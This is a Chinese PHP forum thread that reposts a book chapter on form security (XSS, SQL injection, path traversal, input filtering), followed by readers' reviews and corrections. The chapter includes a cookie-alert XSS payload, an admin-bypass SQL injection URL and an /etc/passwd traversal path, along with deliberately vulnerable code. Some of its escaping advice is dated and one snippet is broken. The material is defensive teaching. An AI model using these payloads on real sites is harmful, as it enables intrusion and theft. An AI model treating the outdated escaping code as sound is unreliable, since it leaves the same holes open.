首先,我们要在php.ini中将register_globals设置为Off;
第二步,将程序里的$admin,全部换成$_SESSION['admin'];
第三步,我们要解决的是,在程序进行包含操作之前,检查在本地机器中该文件是否存在,如果不存在,则不进行包含操作,比如进行如下的改进:
复制PHP内容到剪贴板
PHP代码:

<?php
   if (file_exists($module. '.php')) {
      include $module. '.php';
   }
?>

2.客户端恶意脚本    常见Web站点不安全的编程漏洞包括:密码漏洞、跨站脚本漏洞、不安全的存储漏洞和拒绝服务漏洞。
下面我们一起讨论跨站式XSS脚本攻击技术。
跨站式XSS漏洞主要是因为HTML没有明确区分代码和数据;其次,程序在将用户数据发送回浏览器时没有进行有效的转义,这导致包含有引号的数据被放入页面中。

一个攻击者可能利用一个客户端脚本来执行一些片断,例如JavaScript或VBScript,来窃取Cookies或其他敏感数据,这些攻击只需要通过插入一行HTML数据到我们的网站就能实施。


例如,这个攻击者可能将一些代码输入到我们网站的文本框,如果我们的程序没有过滤HTML标志,该代码将会被插入到网站数据库中,比如,图5-7所示的用户界面。

图5-7

这是一个显示用户注册的页面,攻击者可能会在文本框中连续输入如下代码:

<script language='JavaScript'>alert(document.cookie);</script>

如果没经过滤就将数据插入到数据库中,在点击查看用户信息时,将会出现图5-8所示的效果。

图5-8

未经验证输入的后果是,攻击者利用XSS 脚本攻击我们的网站,并有可能取得管理员登录的Cookie信息。
另外,在网站的前台页面,如果攻击者在上面的JavaScript中加入一个无限循环,可能就比较麻烦了,浏览者可能需要结束浏览器进程才能避免对话框的再次出现,那么该访问者可能再也不会进入我们的网站。
3.预防XSS攻击的方法预防XSS攻击最简单的方法就是过滤从表单来的数据,可以使用PHP函数以及数据库的过滤函数。我们使用如下函数或语句。
Ø使用htmlspecialchars()解码“'”,“"”,“<”,“>”和“&”这些HTML编码,前面我们说过使用  htmlentities()转换任意的HTML超文本实体,主要就是过滤输出(过滤<script>脚本标签等),如果允许使用HTML代码,就把输出变量用htmlentities再过滤一下,否则使用strip_tags函数。
Østrip_tags()函数会去除任何的HTML代码。
Ø每当权限级别发生改变的时候,使用session_regenerate_id()函数改变sessionid,如以下代码所示。
复制PHP内容到剪贴板
PHP代码:

<?php
   $str = strip_tags($_POST['message']);
   /* 将提交数据解码为HTML字符实体 */
   $str = htmlentities($str);
   /* 将换行符转换为 <br /> */
   echo nl2br($str);
   /* 转换与替换HTML字符 */
   $str = strip_tags($_POST['message'], '<b><p><i><u>');
   $str = htmlentities($str);
   echo nl2br($str);
?>

下面是一个内容过滤的完整代码:
复制PHP内容到剪贴板
PHP代码:
<html>
   <title>对输入内容的过滤</title>
   <meta http-equiv="Content-Type" c />
   </head>
<body>
   <div style="width: 500px; text-align: left;">

<?php
   //如果接收到用户的提交请求.
   if ($_POST['submitted'] == "yes"){
      //清理空格字符
      $yourname = trim($_POST['yourname']);
      //过滤文本中的HTML标签.
      $yourname = strip_tags ($yourname);
      //将文本中的内容转换为HTML实体.
      $yourname = htmlspecialchars ($yourname);
      //加入字符转义.
      $yourname = addslashes ($yourname);

      //显示提交的结果.
      echo $yourname . "<br />";

?>
   <a href="Javascript:history.back(-1);">重试</a>
<?php
   }
   //如果没有提交,则显示表单.
   if ($_POST['submitted'] != "yes"){
?>

<form action="" method="post">
   <p>过滤表单的内容:</p>
   <input type="hidden" name="submitted" value="yes" />
   我们的名字: <input type="text" name="yourname" maxlength="150" /><br />
   <input type="submit" value="Submit" style="margin-top: 10px;" />
</form>

<?php
   }
?>

</div>
</body>
</html>
Ø使用相关函数:htmlspecialchars_decode($str)
该函数是PHP 5.1版本新增的函数,功能是对已经转换为HTML实体的字符做反向的操作,请见下面的脚本例子:
复制PHP内容到剪贴板
PHP代码:

<?php
   $str = '<p>HP5.1以后的新增函数 htmlspecialchars_decode() -> "</p>';
   echo htmlspecialchars_decode($str);

   // 使用ENT_NOQUOTES,对引用符号不做转换
   echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>

除了用以上普通方法来预防XSS恶意攻击外,使用Ajax技术对XSS漏洞也有一定预防作用,有关Ajax技术请参见第19章。

5.9.2预防SQL注入

好像有一段时间,我们忽略了这个很早就出现的问题,在2000年前后,若干ASP网站被这种漏洞击中,多少网站一夜之间被黑客攻击。

千万不要小看这个问题,其实现在这个问题仍然存在,在一些PHP脚本中,尤其在一些开源的用户管理程序中。很多这种漏洞是因为我们编写程序和设计数据库时的漏洞造成的,所以作为工程师一定要注意。
它到底有多重要呢?

完全的解决方案为:从用户输入中屏蔽错误,去掉不合格的数据,或避开细节范围的SQL特征。其实数据库管理系统的扩展接口专门提供了避免这个问题的函数,用它们就可以防止SQL注入。

影响:数据机密性、完整性,以及能够读取的有效性,修改(MODIFY)、删除(DELETE)以及销毁(DROP)数据库表时。
下面是MySQL数据库系统自带的防SQL注入的两个函数:
mysql_escape_string()
mysql_real_escape_string()
使用上述函数的代码例子如下:
复制PHP内容到剪贴板
PHP代码:

<?php
   // undo magic_quotes_gpc to avoid double escaping
   if (get_magic_quotes_gpc()) {
      $_GET['name'] = stripslashes($_GET['name'];
      $_GET['binary'] = stripslashes($_GET['binary']);
   }

   $name = mysql_escape_string ($_GET['name']);
   $binary = mysql_escape_string ($_GET['binary']);
   mysql_query($db, "INSERT INTO tbl (name,image) 
   VALUES('$name', '$image')");
?>

攻击者进行SQL注入的常用手段,多半是插入恶意的代码到我们的数据库表中,如以下代码:
复制PHP内容到剪贴板
PHP代码:

<?php
   $query = "SELECT login_id FROM users WHERE user='$user' AND pwd='$pw'";
   mysql_query($query);
?>

这是一段登录验证的代码,即验证用户和密码是否正确的SQL语句。任何一个要登录的用户,使用一个类似于下面的URL查询串:
http://domain.com/login.php?user=admin'%20OR%20(user='&pwd=')%20OR% 20user='就可能取得管理员的账号。
这样的攻击也很容易处理和预防,我们可以使用addslashes()函数来处理用户的输入,它会在输入的字符串中,寻找单引号('),双引号("),然后插入转义符号(\)和NUL符(\0)。还有其他的函数也是针对过滤输入的,如上面使用过的strip_tags()函数,另外还可在处理登录逻辑和方法上做文章,让攻击者无漏洞可钻。
附件: 您所在的用户组无法下载或查看附件

作者: PHPChina   发布时间: 2007-10-23

5.10开发安全的代码

这里我们讨论如何使我们的程序运行更安全,这是开发者的职责,应该切实的把握,避免错误发生。因此,我们需要开发一些技术去避免因用户不规范输入而给我们造成的麻烦。

5.10.1用户输入验证

一个非常重要的技术是如何从用户的输入中有效验证数据,从而保护我们的网站程序与数据。我们需要检查用户输入的全部内容:不管这个数据是从Cookies,GET方法或POST方法来的数据,我们都要检验。

除了在php.ini文件中把register_globals设置为Off外,还要把错误级别修改为E_ALL | E_STRICT,这样就可以阻止从外部请求的数据中生成全局变量,后面的设置是把错误级别设置为打开初始化变量的警告错误。

对于不同类型数据的表单提交,我们可以使用不同的方法来处理。如果我们需要一个参数通过URL的GET方法提交一个整型值,那么在程序中就要把这个参数强制转换为一个整型值,如以下代码所示。
复制PHP内容到剪贴板
PHP代码:

<?php
   if (!isset($_GET['prod_id'])) {
      echo "错误, product ID不能为空";
   }else{
      /* 强制转换为数值型变量 */
      $product_id = (int) $_GET['prod_id'];
   }
?>

除了上面的方法,PHP 5还提供了一组叫做ctype的外部扩展库,它提供一个非常迅速的机制,专门针对字符串内容的校验功能。
我们看一个应用ctype扩展的例子:
复制PHP内容到剪贴板
PHP代码:

<?php
   if (!ctype_alnum($_GET['login'])) {
      echo "输入项必须为英文字符或数字0-9。";
   }
   if (!ctype_alpha($_GET['captcha'])) {
      echo "输入项必须为英文字符(大小写均可)";
   }
   if (!ctype_xdigit($_GET['color'])) {
      echo "输入项必须填写一个16进制数字。";
   }
?>


5.10.3数据过滤 - PECL filter扩展

PHP 5的PECL扩展库提供了一个新功能-filter扩展。使用filter可以极大的简化表单验证的编码量,尤其是对PHP新手而言,对提高程序的安全性很有帮助,从而远离SQL注入和不充分的字符过滤处理。
可以到http://pecl.php.net/package/filter下载最新的版本。在编写本书时它仍处于beta版本。filter软件包提供了数据类型验证和数据编码两个功能,它提供以下几个主要函数:
filter_data――用于过滤数据;
filter_input――用于表单提交内容的过滤;
filter_var――变量内容的过滤,与filter_data和is_int()标准函数类似。
这3个函数绝大部分的功能都很类似,只不过应用于不同的场合,它们使用的参数也是通用的,如表5-5所示。
表5-5

常量名称

功    能

FILTER_VALIDATE_INT 验证为整数,可以指定范围
FILTER_VALIDATE_FLOAT 验证为浮点数
FILTER_ VALIDATE_REGEXP 匹配一个PCRE正则表达式模式
FILTER_ VALIDATE_URL 匹配一个URL
FILTER_ VALIDATE_EMAIL 匹配一个email地址
FILTER_SANITIZE_STRING 去除超文本标签
FILTER_SANITIZE_ENCODED 对字符串使用URL编码
FILTER_VALIDATE_IP 验证值是否为IP地址

下面举例说明,请见如下脚本:
复制PHP内容到剪贴板
PHP代码:

<?php
   var_dump(filter_data([email=]'[email protected]'[/email], FILTER_VALIDATE_EMAIL));
   var_dump(filter_data('sobooo.com', FILTER_VALIDATE_EMAIL));
?>

该脚本会输出如下的内容:
string(15) "[email protected]"
NULL
由于字符串“sobooo.com”因为不是邮件地址的格式,因此被过滤后,显示为NULL值。
再看下面使用filter_input验证表单的脚本例子:
复制PHP内容到剪贴板
PHP代码:

<?php
   // 如使用FILTER_VALIDATE_INT验证用户输入的QQ号码,表单有一个文本框名字为qq:
   $qq = filter_input(INPUT_POST, 'qq', FILTER_VALIDATE_INT);
   if (!empty($qq)) {
      echo "<p>您的QQ号码: $qq</p>\n";
   } else {
      echo '<p>请输入正确的QQ号码(应为纯数字)</p>';
   }

   //使用URL 编码
   $url = "http://post.sina.com.cn/file.php?a=1&b=编码";

   //显示被编码后的URL地址
   echo filter_var($url, FILTER_SANITIZE_ENCODED);
?>

第3个例子比较实用,这个脚本代码可验证IP是否正确,并确认是否是内部网IP,代码如下所示。
复制PHP内容到剪贴板
PHP代码:

<?php
   // 验证IP v4地址
   $ip = "192.168.0.23";
   if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) === False){
      echo "$ip 是非法IP地址";
   }else {
      echo "$ip 是正确的IP地址";
      //验证IP是公网IP还是私有IP地址
      if(filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE) === FALSE)
      {
         echo "$ip 为内部网私有IP地址";
      }else{
         echo "$ip 为公网IP地址";
      }
   }
?>

因为PHP 5.2之后已经捆绑了filter扩展,但这一功能一直在升级,你可以查看最新的input_filter动态以及源代码,包括PHP创始人lerdof的个人网站:http://lerdorf.com/php/input_filter.txt

5.10.4input_get()函数

input_get()函数用来获取外部变量,如POST,GET全局数组,格式如下:
mixed input_get ( int type,string variable_name [,int filter [,mixed flags [,string charset]]] )
其中的几个参数含义如下所述。
type:该参数值可以是以下几个值中的一个,它们是INPUT_GET,INPUT_POST,INPUT_COOKIE,INPUT_SERVER,INPUT_ENV,INPUT_SESSION,还有一个99,目前是用来对$_REQUEST进行过滤。
variable_name:变量名。
filter:同filter_data,默认值为FILTER_DEFAULT。
flags:过滤标志。
charset:使用的字符集。
下面是一个使用input_get()函数的例子,代码如下:
复制PHP内容到剪贴板
PHP代码:

<?php
   $search_html = input_get(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
   $search_url = input_get(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
   echo "您已经搜索到 $search_html.\n";
   echo "<a href='?search=$search_url'>重新查询.</a>";
?>

该程序输出为:
您已经搜索到e & son.<br />
<a href='?search=Me%20%26%20son'>重新查询.</a>
在上面的代码中,$_GET['search']分别被两种不同过滤器过滤,产生的值也不相同,第一行的filter执行了类htmlspecialchars的操作,第二行则进行了urlencode操作。

说明:在PHP 5.1.4版本之前,不能用filter扩展库。




5.10.5路径检测

PHP应用程序应该安全地进行文件处理,在做操作时一定要进行验证,避免存取文件时访问一些系统或安全级别较高的文件,比如,用户使用如下的URL访问:
http://www.ourwebsite.com/script.php?path=../../etc/passwd
而我们的程序是这样写的:
复制PHP内容到剪贴板
PHP代码:

<?php
   $fp = fopen("/home/dir/{$_GET['path']}", "r");
?>

这样的代码将允许打开服务器系统任意目录下的文件,这是异常危险的。
PHP中有一个basename()的函数,可以用它来引导一个路径并移动每个文件,请见如下代码:
复制PHP内容到剪贴板
PHP代码:

<?php
   $_GET["path"] = basename($_GET['path']);
   //只有文件存在的情况才能打开文件
   if (file_exists("/home/dir/{$_GET['path']}")) {
      $fp = fopen("/home/dir/{$_GET['path']}", "r");
   }
?>

最好的解决方法是建立这个用户可以使用的文件白名单,我们在一个模板上建立允许打开的文件,如果有,则允许用户打开该文件。

5.10.6魔法引用magic_quotes_gpc

PHP提供magic_quotes_gpc魔法引用功能来保护我们的网站系统免受攻击,它会自动从用户的输入串中过滤特殊字符(',",\,\0 (NULL)),并减慢输入的过程。
检查使用magic_quotes_gpc的代码样例:
复制PHP内容到剪贴板
PHP代码:
if (get_magic_quotes_gpc()) { //检查magic_quotes_gpc的打开状态
   function strip_quotes(&$var) {
      if (is_array($var){
         array_walk($var, 'strip_quotes');
      } else{
         $var = stripslashes($var);
      }
   }//end func

   // 处理GPC
   foreach (array('GET','POST','COOKIE') as $v){
      if (!empty(${"_".$v})){
         array_walk(${"_".$v}, 'strip_quotes');
      }
   }

   // 处理上传时的文件名称
   if (!empty($_FILES)){
      foreach ($_FILES as $k => $v) {
         $_FILES[$k]['name'] = stripslashes($v['name']);
      }
   }
}

PHP提供这个参数的初衷是好的,但是该功能从出现以来一直备受争议。实践表明,如果采用magic_quotes_gpc,则与不使用该函数相比,需要两倍多的内存来处理每条输入的元素,因此,如果非必要,我们可以在php.ini文件把该参数设置为关闭,不使用该功能,转用其他的方法为来处理。

5.10.7其他高效的解决方案

由于magic_quotes_gpc的效率较低,我们使用其他方法来代替magic_quote_gpc魔法引用的功能,如下脚本:
复制PHP内容到剪贴板
PHP代码:
if (get_magic_quotes_gpc()) {
   $in = array(&$_GET, &$_POST, &$_COOKIE);
   while (list($k,$v) = each($in)) {
      foreach ($v as $key => $val) {
         if (!is_array($val)) {
            $in[$k][$key] = stripslashes($val);
            continue;
         }
         $in[] =& $in[$k][$key];
      }
   }
   unset($in);
}

5.11小结


在本章,我们一起讨论了在PHP 5环境中,表单的基本构成、原理,并且对用户表单提交的处理方法,数据验证等做了详细的讲述。

在做表单处理上,介绍了三种方法,这样可使你全面掌握PHP对表单的处理功能,本章还讲述了不太常用但有时候也会用到的import_request_variable()函数等,希望你在查看其他人编写的源码时遇到这样的函数而不至于迷惑。

在下一章,我们将学习在PHP中对数据的加密技术。

作者: PHPChina   发布时间: 2007-10-23

真不少啊,看都看不完了!~~

作者: forest   发布时间: 2007-10-23

每段代码都高亮,发的我手都酸了.

作者: PHPChina   发布时间: 2007-10-23

引用:
清除与重置表单内容,用于清除表单中所有文本框的内容,而且使选择菜单项恢复到初始值
reset似乎不会清除文本框内容,是恢复到原始状态的吧?!

作者: lmhllr   发布时间: 2007-10-23

对啊,reset 只是恢复原来的

作者: hdwong   发布时间: 2007-10-23

作者的意思应该是,默认表单为空 :)

作者: chinays   发布时间: 2007-10-23

就一个表单就讲的如此详细,我敢说一定是初学者的一本良师益友,对于那些php高手就不得而知了,不过还是有助于更上一层楼的。只看了这一节就觉得这本书不错了,作者不愧是强人啊,看来只有节约点买本书来研究研究了!

作者: chaizhiyong   发布时间: 2007-10-23

不错,从文字中不难看出有许多都是经验之谈,显得更加弥足珍贵了。

作者: xlmo   发布时间: 2007-10-23

看起来写的很不错呢。和详细。包括表单里的参数都给罗列出来了。期待有电子版本噢!

作者: opensource.sun   发布时间: 2007-10-23

的确是说得很详细啊,就是不知道什么时候可以在当当上买到,期待

作者: jovistar   发布时间: 2007-10-23

大家可以发表一些书评或是感想啊,我们提供10本作者亲笔签名的图书给大家呢.

作者: PHPChina   发布时间: 2007-10-23

不用买书了。呵呵。:lol

作者: hszl   发布时间: 2007-10-23

引用:
原帖由 phpchina 于 2007-10-23 19:57 发表
大家可以发表一些书评或是感想啊,我们提供10本作者亲笔签名的图书给大家呢.
简老师发起的,一定要参与一下。
书评不会写,写写流程和需求吧。:$

在书店看过这本书。大概的翻了翻,也找了些自己要查找的问题。感觉还不错,简单,通俗,易懂。但PHP书已经有3本了(圣经2本,案例一本),暂不想买了。

有个建议,希望该书能和PHPCHINA有个栏目互动。这样大家看书有问题,就可以提问。想百度知道那样,只需要注上页码:P135 第13行。  权威人士以问答形式解决大家书上遇到的问题。这样就和函授一样,比函授还好。肯定效果Very Good~

作者: hszl   发布时间: 2007-10-23

说的好,本版就是为大家答疑解惑准备的。
你有任何问题都欢迎提出

作者: phpcast   发布时间: 2007-10-23

很中肯的说,看这一段内容可以看出来,作者是在用“心”写的这本书:handshake ,对于一本书的好坏其实重点是看细节,细节处理的很到位,让读者耳目一新觉得学到东西了,那这本书就是有价值的,但好的书有了,具体怎么学就得靠读者努力了,要想学好php就得动手,我的学习方法是看疯狂英语悟出来的,学习就要有点“疯”劲,要向自己的理想发起疯狂的进攻,不停的冲击,不停的敲打代码,开始只是模范代码,然后是思考代码,自然就可以学好了,自己全部敲一遍,心里的底气也自然足了。
人民邮电的书我不欣赏,但电子工业出版社的书我还是很信任的。我以前买过他们的网页制作三剑客,至少没有错字,说明出版社对读者也是很负责的。所以打算买这个书的人可以考虑下,作者很负责,出版社也是个很负责任的出版社,放心吧

作者: jyb21   发布时间: 2007-10-23

写错了 “开始是模仿代码” 不知道其他自学已经学成的人是不是有这种感受,可以和我交流下。我也买过两本PHP书,其中一本是人民邮电出版社出的,让我很不爽,我也发过帖子提醒过大家,所以对人民邮电有点感冒

[ 本帖最后由 jyb21 于 2007-10-23 22:54 编辑 ]

作者: jyb21   发布时间: 2007-10-23

全书写得不错

特别详细呀。

呵呵

我也只看了一章,还没看过全书。虽只看这一章觉得还是不错的。


希望下一版能分成上下两册。

为什么呢:

考虑到作者这本书是从入门到精通...所以可以分为入门册和精通册。
主要是考虑到现在市面上没有几本能真正做到入门到精通的,但如果太大本的话,拿起来也不方便。

或者说,下一版能在更高级应用方面多做文章,但考虑到作者写书是如此详细。我怕一本书印不完.......

作者: 深蓝色   发布时间: 2007-10-24

刚刚接触php不久,以前只是从事div+css的相关工作。最近才开始系统的学习php

看过《开发圣经》和《Programming PHP I》

刚刚拜读了第五章的内容,真的很细致。例如:

action和method缺省情况下的默认值、input的所有属性列表等都做到了全面的讲解,很多都是大家平时没有注意的,虽然都是基础的知识,但是总有温故知新的感觉。

还有一个特点就是尽可能详尽的讲解和还原php的工作过程,这对于初学者是很重要的。很多人学php的时候只注重语法,知道他们是什么意思,但是对真正的工作原理不太关注,例如post传到哪里,为什么php可以取道,是从哪里取到的等等。这些原理相关的知识对深入了解php语言和数据库有很大的帮助。此书把语法和原理结合,不是很生硬,潜移默化的能达到由表及里的效果,这点也是读了第五章给我感觉最深的地方。

呵呵,还会继续关注,有什么心得还会写出来,也欢迎大家一起交流。

作者: lomo   发布时间: 2007-10-24

在表单处理的时候进行验证和相应的操作之后都需要返回某个页面,这个动作或者自动完成,或者需要点击等动作触发,在以前的项目中我会用到header来控制。
例如出错的时候会发出提示信息然后自动跳转到某个页面格式是:
header("refresh:3;url=test.php");
意思就是说3秒钟以后跳转到test.php这个页面。呵呵,这个我觉得比较实用。:D

作者: songmuyi   发布时间: 2007-10-24

刚刚开始学习PHP,看了这一章感觉,内容通俗易懂,很适合我这种新手.

所有的讲解都是实例化~~~这点本人非常喜欢!!!!!!~~不像某些资料书籍~~第一个例子"hello word"

期待什么时候能上架!!!!

作者: lihao812   发布时间: 2007-10-24

看了一下 表单的处理中比较重要的一个部分:上传文件(type="file")的php处理好像几乎没有提到 是在其他章节有专门说明还是忽略了?

作者: 习明   发布时间: 2007-10-25

引用:
原帖由 习明 于 2007-10-25 11:40 发表
看了一下 表单的处理中比较重要的一个部分:上传文件(type="file")的php处理好像几乎没有提到 是在其他章节有专门说明还是忽略了?
在本书的“文件上传”一章有详细的介绍,包括单文件与多文件上传。:P

作者: phpcast   发布时间: 2007-10-25

我以前搞ASP开发的,仔细看了看这一章,发现自己还是有很多收获的,以前根本没有系统关注过它,另外所有的细节作者做的都很不错,比如action空值默认值还有method空值默认值,一个做事注重细节的人,我想书也不会太打折扣吧,但愿别只是样章如此精彩,令外感觉一点就是对代码注释一些就更好了,比如动态生成一组单选按钮,几乎没有一句代码注释,不知道是不是作者在以前章节讲过来了,以上言论仅代表个人看法,由于只看了第五章,难免有些片面,还望作者见谅,总体感觉不错,改天去书店买本拜读,也祝愿作者书籍大卖。

[ 本帖最后由 zheman 于 2007-10-25 15:01 编辑 ]

作者: zheman   发布时间: 2007-10-25

引用:
原帖由 zheman 于 2007-10-25 14:59 发表
我以前搞ASP开发的,仔细看了看这一章,发现自己还是有很多收获的,以前根本没有系统关注过它,另外所有的细节作者做的都很不错,比如action空值默认值还有method空值默认值,一个做事注重细节的人,我想书也不 ...
感谢zheman的一番中肯之见。
关于生成下拉菜单,正是你所见,本书在第二章的PHP基础的循环中做了描述。关于注释,如果读者读过了第二章有关foreach等语句的说明,相信会理解的。

您说的一些言语非常好,有的地方还需要再增强,当然有些事情的确是还有很多做得更好的余地,只要是为读者更好的理解,我在论坛上会尽力做好答疑解难的职责。

作者: phpcast   发布时间: 2007-10-25

是哪个出版社出的?如果不是人民邮电出版社出的,可以考虑买本!!!!作者还是比较敬业的,不错支持下!!!我最近看到我买的那本人民邮电的《精通php+mysql应用开发》就头疼,错误一大堆,不该讲的罗利巴索的!你想学的他不讲!不过好在我还有一本电子科技出版社出的php的书,两本书都有错误,不过一边上网查!原来phper..都是这么练出来的!!!!

想想刚开始学php的人只能看英文的手册,我们还是可以的,hoho!!!!


所以我很想给作者一个建议:一定要对读者负责!!!!

作者: bluetooth_swh   发布时间: 2007-10-25

是电子工业出版社的,呵呵...

作者: lomo   发布时间: 2007-10-25

电子的还不错,呵呵!

能讲讲这部分吗?

第24章  XML与RSS 486
比较关注,呵呵

作者: bluetooth_swh   发布时间: 2007-10-25

大概看了一下,感觉还不错,希望更多内容出来,好好学习一下,书这样不早点出呢,手上的书还有几本要看呢(刚买时间不长,要不就买你的了):)

刚才花了点时间把那个整理成了一个文件方便大家阅读,在网上看太不方便了,还是拿回家啃吧(有钱的感觉好还是花点小钱,学东西要舍得投资啊),咱现在没钱只能等着网上慢慢发了,希望重点都能整出来
就不用花钱了,哈哈!!!
如果版主或谁的好心支援咱一本那该多好啊:lol

上传
附件: 您所在的用户组无法下载或查看附件

作者: jfcat   发布时间: 2007-10-25

好不爽啊,本来做好的PDF文件,可惜大了一些传不上来就450K啊

这叫一个难受:Q

作者: jfcat   发布时间: 2007-10-25

代广大PHPer先谢谢jfcat;P

作者: phpcast   发布时间: 2007-10-26

谢谢 管理员 能把以前的和现在的做成chm的 吗 好能循序渐进的学习

作者: dzdbutterfly   发布时间: 2007-10-26

引用:
原帖由 jfcat 于 2007-10-25 23:19 发表
大概看了一下,感觉还不错,希望更多内容出来,好好学习一下,书这样不早点出呢,手上的书还有几本要看呢(刚买时间不长,要不就买你的了):)

刚才花了点时间把那个整理成了一个文件方便大家阅读,在网上看 ...
只要大家在看过之后,把自己的一些心得体会或对此书的见解发上来,都有获得此书的机会呀

作者: 天使的魔鬼   发布时间: 2007-10-26

写的不错````
真有点看不够````
赶紧发下一章吧```
期待``

作者: zhujbing   发布时间: 2007-10-26

你把书的内容都发出来了人家还怎么卖啊?

作者: xubin   发布时间: 2007-10-26

买一本纸质的书,随时翻翻,更有质感、!

作者: Lilicl   发布时间: 2007-10-26

所以不用担心拉~

作者: Lilicl   发布时间: 2007-10-26

电子书还是比不上纸质的书有感觉

作者: chenjianzhen   发布时间: 2007-10-26

引用:
原帖由 xubin 于 2007-10-26 14:07 发表
你把书的内容都发出来了人家还怎么卖啊?
想的美!!!别人还是要卖的,只不过让你买书不后悔,先看一下看看是不是自己想要的,再决定买不买

作者: jfcat   发布时间: 2007-10-26

引用:
原帖由 chenjianzhen 于 2007-10-26 20:07 发表
电子书还是比不上纸质的书有感觉
同感!!!纸版的书还是感觉好些,没事翻一翻还节约电啊(环保啊),建议多看纸版
电子版仅做参考、借鉴,出门不能都把书背着,这样查资料方便,还有可以搜索效率更高
:D

作者: jfcat   发布时间: 2007-10-26

例子中有个小错误:

someform.php的
第16行:

应该是: echo "您的用户名: ".$_POST['username']."<br />";而不是作者所写的:$_POST['user_name'];

书我已经通过淘宝支付了,明天可以收到,希望这本书不要有太多小错误哦!!!!!!

作者: bluetooth_swh   发布时间: 2007-10-27

引用:
原帖由 bluetooth_swh 于 2007-10-27 17:38 发表
例子中有个小错误:

someform.php的
第16行:

应该是: echo "您的用户名: ".$_POST['username']."";而不是作者所写的:$_POST['user_name'];

书我已经通过淘宝支付了,明天可以收到,希望这本书不要 ...
现在买东西真快啊!!!这位朋友很细心啊,向你学习,希望这只是输入时的错误而不是书上的小错误
另外,有时候错误总难免,如果大家都把自己发现的错误提出来帮助改进那也是很好的。这里以后可以再加一个勘误专栏,免得新手看不明白(那也浪费时间啊)!!:D

作者: jfcat   发布时间: 2007-10-27

引用:
原帖由 bluetooth_swh 于 2007-10-27 17:38 发表
例子中有个小错误:

someform.php的
第16行:

应该是: echo "您的用户名: ".$_POST['username']."";而不是作者所写的:$_POST['user_name'];

书我已经通过淘宝支付了,明天可以收到,希望这本书不要 ...
bluetooth_swh,你真细心。
多了这个下划线,脚本也无法正确执行。
感谢你的支持与理解。:)

作者: phpcast   发布时间: 2007-10-27

引用:
原帖由 jfcat 于 2007-10-27 18:50 发表


现在买东西真快啊!!!这位朋友很细心啊,向你学习,希望这只是输入时的错误而不是书上的小错误
另外,有时候错误总难免,如果大家都把自己发现的错误提出来帮助改进那也是很好的。这里以后可以再加一个勘 ...
为多了一个下划线,和读者说声抱歉,同时找出的错误越多越早越好~
还请大家多扔砖头;P

[ 本帖最后由 phpcast 于 2007-10-27 21:52 编辑 ]

作者: phpcast   发布时间: 2007-10-27

这本书多少钱啊?

作者: 江大の才子   发布时间: 2007-10-28

5.8.3避免表单重复提交

用户提交表单时可能因为网速的原因,或者网页被恶意刷新,致使同一条记录重复插入到数据库中,这是一个比较棘手的问题。我们可以从客户端和服务器端一起着手,设法避免同一表单的重复提交。
1.使用客户端脚本提到客户端脚本,经常使用的是JavaScript进行常规输入验证。在下面的例子中,我们使用它处理表单的重复提交问题,请看下面的代码:



[复制PHP代码] [ - ]PHP代码如下:
<form method="post" name="register" action="test.php" enctype="multipart/form-data">
   <input name="text" type="text" id="text" />
   <input name="cont" value="提交" type="button" FONT-FAMILY: 宋体; mso-ascii-font-family: 'Courier New'; mso-hansi-font-family: 'Courier New'">正在提交,请等待...';document.register.cont.disabled=true;document.the_form.submit();">
</form>

作者: eery8145   发布时间: 2007-10-28

引用:
原帖由 eery8145 于 2007-10-28 15:08 发表
5.8.3避免表单重复提交

用户提交表单时可能因为网速的原因,或者网页被恶意刷新,致使同一条记录重复插入到数据库中,这是一个比较棘手的问题。我们可以从客户端和服务器端一起着手,设法避免同一表单的重复 ...
它是这样的使用javascript来修改css使提交按钮不可用,这样就可以避免重复提交document.register.cont.disabled=true

书中写的好详细例子很多要多看哦:D

作者: jfcat   发布时间: 2007-10-28

起初看到的国人写的PHP书没抱太大希望,倒也算不上崇洋媚外,只是之前看过的一些国内的PHP类书藉实在是惨不忍睹。还不如直接翻手册来得实在。
仔细看了本书内容觉得确实不错,应该是作者总结出的一些实际应用环境的开发经验。自己也是做PHP开发的,有不少东西都值得借鉴,如果有需要我也会购买的。

顺便提一句,5.2GET与POST的区别中提到"而且GET传递的字符串长度不能超过250个字符"并不准确,而且有这种误解的人似乎还不少。其实现在所用浏览器对GET的支持,都在2048个字符以上。我以前曾经对此进行过考证,有兴趣的话可参见下文:
《GET方式时的URL总长度》:http://blog.vontall.cn/read.php?13

作者: 涛tall   发布时间: 2007-10-28

那段代码应该是这样的:
<form method="post" name="register" action="test.php" enctype="multipart/form-data">
<input name="text" type="text" id="text" />
<input name="cont" value="提交" type="button" onClick="document.register.cont.value='正在提交,请等待...';document.register.cont.disabled=true;document.the_form.submit();">
</form>

大概是楼主贴代码时被编辑器吃掉了。

作者: 涛tall   发布时间: 2007-10-28

贴上一个无关轻重的小错误:
172页数组options 上海的zip-code应该是021
= =


飘过

作者: viagra46   发布时间: 2007-10-28

引用:
原帖由 viagra46 于 2007-10-28 20:16 发表
贴上一个无关轻重的小错误:
172页数组options 上海的zip-code应该是021
= =


飘过
谢谢,这属于常识型BUG:)

作者: phpcast   发布时间: 2007-10-28

引用:
原帖由 涛tall 于 2007-10-28 15:51 发表
起初看到的国人写的PHP书没抱太大希望,倒也算不上崇洋媚外,只是之前看过的一些国内的PHP类书藉实在是惨不忍睹。还不如直接翻手册来得实在。
仔细看了本书内容觉得确实不错,应该是作者总结出的一些实际应用环 ...
谢谢你的支持。
IE浏览器是支持2083长度的字符的(其它的浏览器未验证),因为GET方式为var=value&var1=value2的形式,对于英文大概在400个字符长度左右,因此传递汉字限制也就在200个左右。
针对提出255是常规性说法,是为了让开发者超过更长的数据传递表单时需要使用POST方法,而POST方法不是2083的长度,可以更多,这是由你的PHP.ini中的配置决定的。
其它请参阅本书中的说明文字,谢谢。

[ 本帖最后由 phpcast 于 2007-10-28 21:56 编辑 ]

作者: phpcast   发布时间: 2007-10-28

我还以为是书的内容就这样呢,好多图书中的实例都会用不了。让读者很费解,差点就让我放弃对这书的期望。

作者: eery8145   发布时间: 2007-10-29

好,支持1下下~~

作者: netuse   发布时间: 2007-10-29

5.2GET与POST的区别中提到"而且GET传递的字符串长度不能超过250个字符"并不准确,而且有这种误解的人似乎还不少。其实现在所用浏览器对GET的支持,都在2048个字符以上。我以前曾经对此进行过考证,有兴趣的话可参见下文:
